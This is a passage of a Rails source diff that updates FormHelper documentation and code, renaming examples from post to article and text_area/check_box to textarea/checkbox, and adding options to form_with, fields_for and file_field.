-      #   <form action="/cats" method="post" data-remote="true">
-      #     <input type="text" name="cat[cats_dont_have_gills]">
-      #     <input type="text" name="cat[but_in_forms_they_can]">
+      #   <form action="/cats" method="post">
+      #     <input type="text" name="cat[cats_dont_have_gills]" />
+      #     <input type="text" name="cat[but_in_forms_they_can]" />
       #   </form>
       #
       # The parameters in the forms are accessible in controllers according to
-      # their name nesting. So inputs named +title+ and <tt>post[title]</tt> are
-      # accessible as <tt>params[:title]</tt> and <tt>params[:post][:title]</tt>
+      # their name nesting. So inputs named +title+ and <tt>article[title]</tt> are
+      # accessible as <tt>params[:title]</tt> and <tt>params[:article][:title]</tt>
       # respectively.
       #
-      # By default +form_with+ attaches the <tt>data-remote</tt> attribute
-      # submitting the form via an XMLHTTPRequest in the background if an
-      # Unobtrusive JavaScript driver, like rails-ujs, is used. See the
-      # <tt>:local</tt> option for more.
-      #
       # For ease of comparison the examples above left out the submit button,
       # as well as the auto generated hidden fields that enable UTF-8 support
       # and adds an authenticity token needed for cross site request forgery
       # protection.
       #
+      # === Resource-oriented style
+      #
+      # In many of the examples just shown, the +:model+ passed to +form_with+
+      # is a _resource_. It corresponds to a set of RESTful routes, most likely
+      # defined via +resources+ in <tt>config/routes.rb</tt>.
+      #
+      # So when passing such a model record, \Rails infers the URL and method.
+      #
+      #   <%= form_with model: @article do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # is then equivalent to something like:
+      #
+      #   <%= form_with scope: :article, url: article_path(@article), method: :patch do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # And for a new record
+      #
+      #   <%= form_with model: Article.new do |form| %>
+      #     ...
+      #   <% end %>
+      #
+      # is equivalent to something like:
+      #
+      #   <%= form_with scope: :article, url: articles_path do |form| %>
+      #     ...
+      #   <% end %>
+      #
       # ==== +form_with+ options
       #
       # * <tt>:url</tt> - The URL the form submits to. Akin to values passed to
@@ -554,6 +595,9 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #   Skipped if a <tt>:url</tt> is passed.
       # * <tt>:scope</tt> - The scope to prefix input field names with and
       #   thereby how the submitted parameters are grouped in controllers.
+      # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+      #   id attributes on form elements. The namespace attribute will be prefixed
+      #   with underscore on the generated HTML id.
       # * <tt>:model</tt> - A model object to infer the <tt>:url</tt> and
       #   <tt>:scope</tt> by, plus fill out input field values.
       #   So if a +title+ attribute is set to "Ahoy!" then a +title+ input
@@ -561,7 +605,7 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #   If the model is a new record a create form is generated, if an
       #   existing record, however, an update form is generated.
       #   Pass <tt>:scope</tt> or <tt>:url</tt> to override the defaults.
-      #   E.g. turn <tt>params[:post]</tt> into <tt>params[:article]</tt>.
+      #   E.g. turn <tt>params[:article]</tt> into <tt>params[:blog]</tt>.
       # * <tt>:authenticity_token</tt> - Authenticity token to use in the form.
       #   Override with a custom authenticity token or pass <tt>false</tt> to
       #   skip the authenticity token field altogether.
@@ -572,10 +616,18 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #   This is helpful when fragment-caching the form. Remote forms
       #   get the authenticity token from the <tt>meta</tt> tag, so embedding is
       #   unnecessary unless you support browsers without JavaScript.
-      # * <tt>:local</tt> - By default form submits are remote and unobstrusive XHRs.
-      #   Disable remote submits with <tt>local: true</tt>.
-      # * <tt>:skip_enforcing_utf8</tt> - By default a hidden field named +utf8+
-      #   is output to enforce UTF-8 submits. Set to true to skip the field.
+      # * <tt>:local</tt> - Whether to use standard HTTP form submission.
+      #   When set to <tt>true</tt>, the form is submitted via standard HTTP.
+      #   When set to <tt>false</tt>, the form is submitted as a "remote form", which
+      #   is handled by \Rails UJS as an XHR. When unspecified, the behavior is derived
+      #   from <tt>config.action_view.form_with_generates_remote_forms</tt> where the
+      #   config's value is actually the inverse of what <tt>local</tt>'s value would be.
+      #   As of \Rails 6.1, that configuration option defaults to <tt>false</tt>
+      #   (which has the equivalent effect of passing <tt>local: true</tt>).
+      #   In previous versions of \Rails, that configuration option defaults to
+      #   <tt>true</tt> (the equivalent of passing <tt>local: false</tt>).
+      # * <tt>:skip_enforcing_utf8</tt> - If set to true, a hidden input with name
+      #   utf8 is not output.
       # * <tt>:builder</tt> - Override the object used to build the form.
       # * <tt>:id</tt> - Optional HTML id attribute.
       # * <tt>:class</tt> - Optional HTML class attribute.
@@ -586,14 +638,14 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #
       # When not passing a block, +form_with+ just generates an opening form tag.
       #
-      #   <%= form_with(model: @post, url: super_posts_path) %>
-      #   <%= form_with(model: @post, scope: :article) %>
-      #   <%= form_with(model: @post, format: :json) %>
-      #   <%= form_with(model: @post, authenticity_token: false) %> # Disables the token.
+      #   <%= form_with(model: @article, url: super_articles_path) %>
+      #   <%= form_with(model: @article, scope: :blog) %>
+      #   <%= form_with(model: @article, format: :json) %>
+      #   <%= form_with(model: @article, authenticity_token: false) %> # Disables the token.
       #
-      # For namespaced routes, like +admin_post_url+:
+      # For namespaced routes, like +admin_article_url+:
       #
-      #   <%= form_with(model: [ :admin, @post ]) do |form| %>
+      #   <%= form_with(model: [ :admin, @article ]) do |form| %>
       #     ...
       #   <% end %>
       #
@@ -606,16 +658,6 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #
       # Where <tt>@document = Document.find(params[:id])</tt>.
       #
-      # When using labels +form_with+ requires setting the id on the field being
-      # labelled:
-      #
-      #   <%= form_with(model: @post) do |form| %>
-      #     <%= form.label :title %>
-      #     <%= form.text_field :title, id: :post_title %>
-      #   <% end %>
-      #
-      # See +label+ for more on how the +for+ attribute is derived.
-      #
       # === Mixing with other form helpers
       #
       # While +form_with+ uses a FormBuilder object it's possible to mix and
@@ -626,15 +668,15 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #     <%= form.text_field :first_name %>
       #     <%= form.text_field :last_name %>
       #
-      #     <%= text_area :person, :biography %>
-      #     <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+      #     <%= textarea :person, :biography %>
+      #     <%= checkbox_tag "person[admin]", "1", @person.company.admin? %>
       #
       #     <%= form.submit %>
       #   <% end %>
       #
-      # Same goes for the methods in FormOptionHelper and DateHelper designed
+      # Same goes for the methods in FormOptionsHelper and DateHelper designed
       # to work with an object as a base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
       #
       # === Setting the method
       #
@@ -651,13 +693,13 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       # You can set data attributes directly in a data hash, but HTML options
       # besides id and class must be wrapped in an HTML key:
       #
-      #   <%= form_with(model: @post, data: { behavior: "autosave" }, html: { name: "go" }) do |form| %>
+      #   <%= form_with(model: @article, data: { behavior: "autosave" }, html: { name: "go" }) do |form| %>
       #     ...
       #   <% end %>
       #
       # generates
       #
-      #   <form action="/posts/123" method="post" data-behavior="autosave" name="go">
+      #   <form action="/articles/123" method="post" data-behavior="autosave" name="go">
       #     <input name="_method" type="hidden" value="patch" />
       #     ...
       #   </form>
@@ -669,10 +711,10 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       # Some ORM systems do not use IDs on nested models so in this case you want to be able
       # to disable the hidden id.
       #
-      # In the following example the Post model has many Comments stored within it in a NoSQL database,
+      # In the following example the Article model has many Comments stored within it in a NoSQL database,
       # thus there is no primary key for comments.
       #
-      #   <%= form_with(model: @post) do |form| %>
+      #   <%= form_with(model: @article) do |form| %>
       #     <%= form.fields(:comments, skip_id: true) do |fields| %>
       #       ...
       #     <% end %>
@@ -688,8 +730,8 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #   <%= form_with model: @person, url: { action: "create" }, builder: LabellingFormBuilder do |form| %>
       #     <%= form.text_field :first_name %>
       #     <%= form.text_field :last_name %>
-      #     <%= form.text_area :biography %>
-      #     <%= form.check_box :admin %>
+      #     <%= form.textarea :biography %>
+      #     <%= form.checkbox :admin %>
       #     <%= form.submit %>
       #   <% end %>
       #
@@ -710,52 +752,59 @@ def apply_form_for_options!(record, object, options) #:nodoc:
       #   def labelled_form_with(**options, &block)
       #     form_with(**options.merge(builder: LabellingFormBuilder), &block)
       #   end
-      def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
-        options[:allow_method_names_outside_object] = true
-        options[:skip_default_ids] = true
+      def form_with(model: false, scope: nil, url: nil, format: nil, **options, &block)
+        raise ArgumentError, "Passed nil to the :model argument, expect an object or false" if model.nil?
+
+        options = { allow_method_names_outside_object: true, skip_default_ids: !form_with_generates_ids }.merge!(options)
 
         if model
-          url ||= polymorphic_path(model, format: format)
+          if url != false
+            url ||= if format.nil?
+              polymorphic_path(model, {})
+            else
+              polymorphic_path(model, format: format)
+            end
+          end
 
-          model   = model.last if model.is_a?(Array)
+          model   = convert_to_model(_object_for_form_builder(model))
           scope ||= model_name_from_record_or_class(model).param_key
         end
 
         if block_given?
           builder = instantiate_builder(scope, model, options)
-          output  = capture(builder, &Proc.new)
+          output  = capture(builder, &block)
           options[:multipart] ||= builder.multipart?
 
-          html_options = html_options_for_form_with(url, model, options)
+          html_options = html_options_for_form_with(url, model, **options)
           form_tag_with_body(html_options, output)
         else
-          html_options = html_options_for_form_with(url, model, options)
+          html_options = html_options_for_form_with(url, model, **options)
           form_tag_html(html_options)
         end
       end
 
-      # Creates a scope around a specific model object like form_for, but
-      # doesn't create the form tags themselves. This makes fields_for suitable
-      # for specifying additional model objects in the same form.
+      # Creates a scope around a specific model object like #form_with, but
+      # doesn't create the form tags themselves. This makes +fields_for+
+      # suitable for specifying additional model objects in the same form.
       #
-      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
-      # its method signature is slightly different. Like +form_for+, it yields
+      # Although the usage and purpose of +fields_for+ is similar to #form_with's,
+      # its method signature is slightly different. Like #form_with, it yields
       # a FormBuilder object associated with a particular model object to a block,
       # and within the block allows methods to be called on the builder to
       # generate fields associated with the model object. Fields may reflect
       # a model object in two ways - how they are named (hence how submitted
       # values appear within the +params+ hash in the controller) and what
-      # default values are shown when the form the fields appear in is first
-      # displayed. In order for both of these features to be specified independently,
+      # default values are shown when the form fields are first displayed.
+      # In order for both of these features to be specified independently,
       # both an object name (represented by either a symbol or string) and the
       # object itself can be passed to the method separately -
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     First name: <%= person_form.text_field :first_name %>
       #     Last name : <%= person_form.text_field :last_name %>
       #
       #     <%= fields_for :permission, @person.permission do |permission_fields| %>
-      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #       Admin?  : <%= permission_fields.checkbox :admin %>
       #     <% end %>
       #
       #     <%= person_form.submit %>
@@ -772,7 +821,7 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       # object to +fields_for+ -
       #
       #   <%= fields_for :permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
+      #     Admin?: <%= permission_fields.checkbox :admin %>
       #   <% end %>
       #
       # ...in which case, if <tt>:permission</tt> also happens to be the name of an
@@ -784,21 +833,21 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       # name has been omitted) -
       #
       #   <%= fields_for @person.permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
+      #     Admin?: <%= permission_fields.checkbox :admin %>
       #   <% end %>
       #
       # and +fields_for+ will derive the required name of the field from the
       # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
       # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
       #
-      # Note: This also works for the methods in FormOptionHelper and
+      # Note: This also works for the methods in FormOptionsHelper and
       # DateHelper that are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
       #
       # === Nested Attributes Examples
       #
       # When the object belonging to the current scope has a nested attribute
-      # writer for a certain attribute, fields_for will yield a new scope
+      # writer for a certain attribute, +fields_for+ will yield a new scope
       # for that attribute. This allows you to create forms that set or change
       # the attributes of a parent object and its associations in one go.
       #
@@ -831,7 +880,7 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #
       # This model can now be used with a nested fields_for, like so:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :address do |address_fields| %>
       #       Street  : <%= address_fields.text_field :street %>
@@ -859,13 +908,13 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #
       # Now, when you use a form element with the <tt>_destroy</tt> parameter,
       # with a value that evaluates to +true+, you will destroy the associated
-      # model (eg. 1, '1', true, or 'true'):
+      # model (e.g. 1, '1', true, or 'true'):
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :address do |address_fields| %>
       #       ...
-      #       Delete: <%= address_fields.check_box :_destroy %>
+      #       Delete: <%= address_fields.checkbox :_destroy %>
       #     <% end %>
       #     ...
       #   <% end %>
@@ -887,7 +936,7 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #   end
       #
       # Note that the <tt>projects_attributes=</tt> writer method is in fact
-      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # required for +fields_for+ to correctly identify <tt>:projects</tt> as a
       # collection, and the correct indices to be set in the form markup.
       #
       # When projects is already an association on Person you can use
@@ -899,10 +948,10 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #   end
       #
       # This model can now be used with a nested fields_for. The block given to
-      # the nested fields_for call will be repeated for each instance in the
+      # the nested +fields_for+ call will be repeated for each instance in the
       # collection:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
       #       <% if project_fields.object.active? %>
@@ -914,7 +963,7 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #
       # It's also possible to specify the instance to be used:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <% @person.projects.each do |project| %>
       #       <% if project.active? %>
@@ -928,7 +977,7 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #
       # Or a collection to be used:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
       #       Name: <%= project_fields.text_field :name %>
@@ -948,21 +997,21 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       # This will allow you to specify which models to destroy in the
       # attributes hash by adding a form element for the <tt>_destroy</tt>
       # parameter with a value that evaluates to +true+
-      # (eg. 1, '1', true, or 'true'):
+      # (e.g. 1, '1', true, or 'true'):
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Delete: <%= project_fields.check_box :_destroy %>
+      #       Delete: <%= project_fields.checkbox :_destroy %>
       #     <% end %>
       #     ...
       #   <% end %>
       #
       # When a collection is used you might want to know the index of each
-      # object into the array. For this purpose, the <tt>index</tt> method
-      # is available in the FormBuilder object.
+      # object in the array. For this purpose, the <tt>index</tt> method is
+      # available in the FormBuilder object.
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
       #       Project #<%= project_fields.index %>
@@ -971,34 +1020,35 @@ def form_with(model: nil, scope: nil, url: nil, format: nil, **options)
       #     ...
       #   <% end %>
       #
-      # Note that fields_for will automatically generate a hidden field
-      # to store the ID of the record. There are circumstances where this
-      # hidden field is not needed and you can pass <tt>include_id: false</tt>
-      # to prevent fields_for from rendering it automatically.
+      # Note that +fields_for+ will automatically generate a hidden field
+      # to store the ID of the record if it responds to <tt>persisted?</tt>.
+      # There are circumstances where this hidden field is not needed and you
+      # can pass <tt>include_id: false</tt> to prevent +fields_for+ from
+      # rendering it automatically.
       def fields_for(record_name, record_object = nil, options = {}, &block)
-        builder = instantiate_builder(record_name, record_object, options)
-        capture(builder, &block)
+        options = { model: record_object, allow_method_names_outside_object: false, skip_default_ids: false }.merge!(options)
+
+        fields(record_name, **options, &block)
       end
 
       # Scopes input fields with either an explicit scope or model.
-      # Like +form_with+ does with <tt>:scope</tt> or <tt>:model</tt>,
+      # Like #form_with does with <tt>:scope</tt> or <tt>:model</tt>,
       # except it doesn't output the form tags.
       #
       #   # Using a scope prefixes the input field names:
       #   <%= fields :comment do |fields| %>
       #     <%= fields.text_field :body %>
       #   <% end %>
-      #   # => <input type="text" name="comment[body]>
+      #   # => <input type="text" name="comment[body]">
       #
       #   # Using a model infers the scope and assigns field values:
-      #   <%= fields model: Comment.new(body: "full bodied") do |fields| %<
+      #   <%= fields model: Comment.new(body: "full bodied") do |fields| %>
       #     <%= fields.text_field :body %>
       #   <% end %>
-      #   # =>
-      #   <input type="text" name="comment[body] value="full bodied">
+      #   # => <input type="text" name="comment[body]" value="full bodied">
       #
-      #   # Using +fields+ with +form_with+:
-      #   <%= form_with model: @post do |form| %>
+      #   # Using `fields` with `form_with`:
+      #   <%= form_with model: @article do |form| %>
       #     <%= form.text_field :title %>
       #
       #     <%= form.fields :comment do |fields| %>
@@ -1006,41 +1056,31 @@ def fields_for(record_name, record_object = nil, options = {}, &block)
       #     <% end %>
       #   <% end %>
       #
-      # Much like +form_with+ a FormBuilder instance associated with the scope
+      # Much like #form_with a FormBuilder instance associated with the scope
       # or model is yielded, so any generated field names are prefixed with
       # either the passed scope or the scope inferred from the <tt>:model</tt>.
       #
-      # When using labels +fields+ requires setting the id on the field being
-      # labelled:
-      #
-      #   <%= fields :comment do |fields| %>
-      #     <%= fields.label :body %>
-      #     <%= fields.text_field :body, id: :comment_body %>
-      #   <% end %>
-      #
-      # See +label+ for more on how the +for+ attribute is derived.
-      #
       # === Mixing with other form helpers
       #
-      # While +form_with+ uses a FormBuilder object it's possible to mix and
+      # While #form_with uses a FormBuilder object it's possible to mix and
       # match the stand-alone FormHelper methods and methods
       # from FormTagHelper:
       #
       #   <%= fields model: @comment do |fields| %>
       #     <%= fields.text_field :body %>
       #
-      #     <%= text_area :commenter, :biography %>
-      #     <%= check_box_tag "comment[all_caps]", "1", @comment.commenter.hulk_mode? %>
+      #     <%= textarea :commenter, :biography %>
+      #     <%= checkbox_tag "comment[all_caps]", "1", @comment.commenter.hulk_mode? %>
       #   <% end %>
       #
-      # Same goes for the methods in FormOptionHelper and DateHelper designed
+      # Same goes for the methods in FormOptionsHelper and DateHelper designed
       # to work with an object as a base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
       def fields(scope = nil, model: nil, **options, &block)
-        options[:allow_method_names_outside_object] = true
-        options[:skip_default_ids] = true
+        options = { allow_method_names_outside_object: true, skip_default_ids: !form_with_generates_ids }.merge!(options)
 
         if model
+          model   = _object_for_form_builder(model)
           scope ||= model_name_from_record_or_class(model).param_key
         end
 
@@ -1050,52 +1090,64 @@ def fields(scope = nil, model: nil, **options, &block)
 
       # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
-      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # is found in the current I18n locale (through <tt>helpers.label.<modelname>.<attribute></tt>) or you specify it explicitly.
       # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
       # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
       # target labels for radio_button tags (where the value is used in the ID of the input tag).
       #
       # ==== Examples
-      #   label(:post, :title)
-      #   # => <label for="post_title">Title</label>
+      #   label(:article, :title)
+      #   # => <label for="article_title">Title</label>
       #
       # You can localize your labels based on model and attribute names.
       # For example you can define the following in your locale (e.g. en.yml)
       #
       #   helpers:
       #     label:
-      #       post:
+      #       article:
       #         body: "Write your entire text here"
       #
       # Which then will result in
       #
-      #   label(:post, :body)
-      #   # => <label for="post_body">Write your entire text here</label>
+      #   label(:article, :body)
+      #   # => <label for="article_body">Write your entire text here</label>
       #
       # Localization can also be based purely on the translation of the attribute-name
       # (if you are using ActiveRecord):
       #
       #   activerecord:
       #     attributes:
-      #       post:
+      #       article:
       #         cost: "Total cost"
       #
-      #   label(:post, :cost)
-      #   # => <label for="post_cost">Total cost</label>
+      # <code></code>
+      #
+      #   label(:article, :cost)
+      #   # => <label for="article_cost">Total cost</label>
       #
-      #   label(:post, :title, "A short title")
-      #   # => <label for="post_title">A short title</label>
+      #   label(:article, :title, "A short title")
+      #   # => <label for="article_title">A short title</label>
       #
-      #   label(:post, :title, "A short title", class: "title_label")
-      #   # => <label for="post_title" class="title_label">A short title</label>
+      #   label(:article, :title, "A short title", class: "title_label")
+      #   # => <label for="article_title" class="title_label">A short title</label>
       #
-      #   label(:post, :privacy, "Public Post", value: "public")
-      #   # => <label for="post_privacy_public">Public Post</label>
+      #   label(:article, :privacy, "Public Article", value: "public")
+      #   # => <label for="article_privacy_public">Public Article</label>
+      #
+      #   label(:article, :cost) do |translation|
+      #     content_tag(:span, translation, class: "cost_label")
+      #   end
+      #   # => <label for="article_cost"><span class="cost_label">Total cost</span></label>
       #
-      #   label(:post, :terms) do
+      #   label(:article, :cost) do |builder|
+      #     content_tag(:span, builder.translation, class: "cost_label")
+      #   end
+      #   # => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+      #
+      #   label(:article, :terms) do
       #     raw('Accept <a href="/terms">Terms</a>.')
       #   end
-      #   # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
+      #   # => <label for="article_terms">Accept <a href="/terms">Terms</a>.</label>
       def label(object_name, method, content_or_options = nil, options = nil, &block)
         Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
       end
@@ -1106,11 +1158,14 @@ def label(object_name, method, content_or_options = nil, options = nil, &block)
       # shown.
       #
       # ==== Examples
-      #   text_field(:post, :title, size: 20)
-      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+      #   text_field(:article, :title, size: 20)
+      #   # => <input type="text" id="article_title" name="article[title]" size="20" value="#{@article.title}" />
       #
-      #   text_field(:post, :title, class: "create_input")
-      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+      #   text_field(:article, :title, class: "create_input")
+      #   # => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" class="create_input" />
+      #
+      #   text_field(:article, :title,  maxlength: 30, class: "title_input")
+      #   # => <input type="text" id="article_title" name="article[title]" maxlength="30" size="30" value="#{@article.title}" class="title_input" />
       #
       #   text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
       #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
@@ -1151,8 +1206,8 @@ def password_field(object_name, method, options = {})
       #   hidden_field(:signup, :pass_confirm)
       #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
       #
-      #   hidden_field(:post, :tag_list)
-      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+      #   hidden_field(:article, :tag_list)
+      #   # => <input type="hidden" id="article_tag_list" name="article[tag_list]" value="#{@article.tag_list}" />
       #
       #   hidden_field(:user, :token)
       #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
@@ -1165,31 +1220,34 @@ def hidden_field(object_name, method, options = {})
       # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
       # shown.
       #
-      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
+      # Using this method inside a #form_with block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
       #
       # ==== Options
       # * Creates standard HTML attributes for the tag.
       # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
       # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
+      # * <tt>:include_hidden</tt> - When <tt>multiple: true</tt> and <tt>include_hidden: true</tt>, the field will be prefixed with an <tt><input type="hidden"></tt> field with an empty value to support submitting an empty collection of files.
       # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
       #
       # ==== Examples
       #   file_field(:user, :avatar)
       #   # => <input type="file" id="user_avatar" name="user[avatar]" />
       #
-      #   file_field(:post, :image, multiple: true)
-      #   # => <input type="file" id="post_image" name="post[image][]" multiple="multiple" />
+      #   file_field(:article, :image, multiple: true)
+      #   # => <input type="file" id="article_image" name="article[image][]" multiple="multiple" />
       #
-      #   file_field(:post, :attached, accept: 'text/html')
-      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
+      #   file_field(:article, :attached, accept: 'text/html')
+      #   # => <input accept="text/html" type="file" id="article_attached" name="article[attached]" />
       #
-      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
-      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
+      #   file_field(:article, :image, accept: 'image/png,image/gif,image/jpeg')
+      #   # => <input type="file" id="article_image" name="article[image]" accept="image/png,image/gif,image/jpeg" />
       #
       #   file_field(:attachment, :file, class: 'file_input')
       #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
       def file_field(object_name, method, options = {})
-        Tags::FileField.new(object_name, method, self, options).render
+        options = { include_hidden: multiple_file_field_include_hidden }.merge!(options)
+
+        Tags::FileField.new(object_name, method, self, convert_direct_upload_option_to_url(options.dup)).render
       end
 
       # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
@@ -1197,28 +1255,29 @@ def file_field(object_name, method, options = {})
       # hash with +options+.
       #
       # ==== Examples
-      #   text_area(:post, :body, cols: 20, rows: 40)
-      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
-      #   #      #{@post.body}
+      #   textarea(:article, :body, cols: 20, rows: 40)
+      #   # => <textarea cols="20" rows="40" id="article_body" name="article[body]">
+      #   #      #{@article.body}
       #   #    </textarea>
       #
-      #   text_area(:comment, :text, size: "20x30")
+      #   textarea(:comment, :text, size: "20x30")
       #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
       #   #      #{@comment.text}
       #   #    </textarea>
       #
-      #   text_area(:application, :notes, cols: 40, rows: 15, class: 'app_input')
+      #   textarea(:application, :notes, cols: 40, rows: 15, class: 'app_input')
       #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
       #   #      #{@application.notes}
       #   #    </textarea>
       #
-      #   text_area(:entry, :body, size: "20x20", disabled: 'disabled')
+      #   textarea(:entry, :body, size: "20x20", disabled: 'disabled')
       #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
       #   #      #{@entry.body}
       #   #    </textarea>
-      def text_area(object_name, method, options = {})
+      def textarea(object_name, method, options = {})
         Tags::TextArea.new(object_name, method, self, options).render
       end
+      alias_method :text_area, :textarea
 
       # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
@@ -1226,6 +1285,12 @@ def text_area(object_name, method, options = {})
       # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
       # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
       #
+      # ==== Options
+      #
+      # * Any standard HTML attributes for the tag can be passed in, for example +:class+.
+      # * <tt>:checked</tt> - +true+ or +false+ forces the state of the checkbox to be checked or not.
+      # * <tt>:include_hidden</tt> - If set to false, the auxiliary hidden field described below will not be generated.
+      #
       # ==== Gotcha
       #
       # The HTML specification says unchecked check boxes are not successful, and
@@ -1239,7 +1304,7 @@ def text_area(object_name, method, options = {})
       # wouldn't update the flag.
       #
       # To prevent this the helper generates an auxiliary hidden field before
-      # the very check box. The hidden field has the same name and its
+      # every check box. The hidden field has the same name and its
       # attributes mimic an unchecked check box.
       #
       # This way, the client either sends only the hidden field (representing
@@ -1252,33 +1317,36 @@ def text_area(object_name, method, options = {})
       # within an array-like parameter, as in
       #
       #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
-      #     <%= form.check_box :paid %>
+      #     <%= form.checkbox :paid %>
       #     ...
       #   <% end %>
       #
-      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # because parameter name repetition is precisely what \Rails seeks to distinguish
       # the elements of the array. For each item with a checked check box you
       # get an extra ghost item with only that attribute, assigned to "0".
       #
-      # In that case it is preferable to either use +check_box_tag+ or to use
+      # In that case it is preferable to either use FormTagHelper#checkbox_tag or to use
       # hashes instead of arrays.
       #
-      #   # Let's say that @post.validated? is 1:
-      #   check_box("post", "validated")
-      #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      # ==== Examples
+      #
+      #   # Let's say that @article.validated? is 1:
+      #   checkbox("article", "validated")
+      #   # => <input name="article[validated]" type="hidden" value="0" />
+      #   #    <input checked="checked" type="checkbox" id="article_validated" name="article[validated]" value="1" />
       #
       #   # Let's say that @puppy.gooddog is "no":
-      #   check_box("puppy", "gooddog", {}, "yes", "no")
+      #   checkbox("puppy", "gooddog", {}, "yes", "no")
       #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
       #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
       #
-      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
